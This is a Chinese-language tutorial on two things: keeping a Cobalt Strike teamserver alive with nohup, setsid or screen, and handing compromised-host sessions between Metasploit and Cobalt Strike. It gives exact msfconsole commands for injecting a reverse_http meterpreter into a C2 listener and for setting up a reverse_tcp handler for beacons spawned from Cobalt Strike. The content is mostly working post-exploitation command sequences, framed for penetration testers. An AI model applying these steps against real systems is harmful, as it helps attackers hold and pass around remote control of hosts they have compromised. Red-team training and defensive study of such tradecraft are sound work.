Cobaltstrike Server持久化 & Cobaltstrike与Metasploit相互派生shell
字数 1306 2025-08-26 22:11:57
CobaltStrike Server持久化与Metasploit互操作指南
目录
CobaltStrike Server持久化方法
背景问题
SSH连接断开时,终端会发送HUP(hangup)信号关闭所有子进程,导致CobaltStrike服务端中断。
解决方案
方法1:使用nohup命令
nohup ./teamserver [IP] [密码] &
- 特点:忽略HUP信号
- 验证:
ps -ef | grep teamserver查看进程
方法2:使用setsid命令
setsid ./teamserver [IP] [密码]
- 特点:进程成为init的子进程(PPID=1)
- 验证:
ps -ef | grep teamserver查看PPID
方法3:使用括号与&组合
(./teamserver [IP] [密码] &)
- 效果与setsid相同
推荐方法:使用screen工具
- 安装screen:
apt-get install screen
- 创建新会话:
screen -S cs_server
- 启动teamserver:
./teamserver [IP] [密码]
- 分离会话:
Ctrl+A+D - 查看会话:
screen -ls
- 恢复会话:
screen -r [会话ID]
Metasploit派生shell给CobaltStrike
操作步骤
- 获取Meterpreter会话后执行:
background
- 切换payload:
use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST [CobaltStrike监听IP]
set LPORT [CobaltStrike监听端口]
set SESSION [session ID]
exploit
关键参数说明
DisablePayloadHandler true:避免生成新的handler- 多个session时使用
sessions -l查看并选择
CobaltStrike配置
- 创建监听器:
- 类型:
windows/beacon_http/reverse_http - 配置IP和端口与MSF设置一致
- 类型:
CobaltStrike派生shell给Metasploit
操作步骤
-
在CobaltStrike配置监听器:
- 类型:
windows/foreign/reverse_tcp - 注意:必须与MSF的
windows/meterpreter/reverse_tcp匹配 - 配置IP和端口与MSF监听一致
- 类型:
-
在Metasploit设置监听:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [监听IP]
set LPORT [监听端口]
exploit
- 在CobaltStrike中:
- 右击目标beacon
- 选择"Spawn"
- 选择配置好的监听器
技术原理与应用场景
技术原理
- CobaltStrike主要针对Windows平台,payload包含WindowsPE检查
- Metasploit支持更广泛的平台和payload类型
- 通过进程注入实现会话派生
应用场景
-
MSF→CS:
- 利用MSF丰富的攻击模块获取初始访问
- 将会话转移到CS进行后续后渗透操作
-
CS→MSF:
- 需要利用MSF特有模块(如Linux exploit)
- 需要MSF更丰富的后期利用模块
- 团队协作中不同人员使用不同工具
-
平台优势互补:
- CS优势:后渗透、横向移动、C2基础设施
- MSF优势:多样化攻击载荷、多平台支持
注意事项
- 确保两端网络连通性
- 监听器配置必须严格匹配
- 派生操作可能导致会话稳定性变化
- 企业环境中注意防火墙规则
通过以上方法,安全测试人员可以灵活地在CobaltStrike和Metasploit之间转移会话,充分发挥两个平台各自的优势,提高渗透测试的效率和成功率。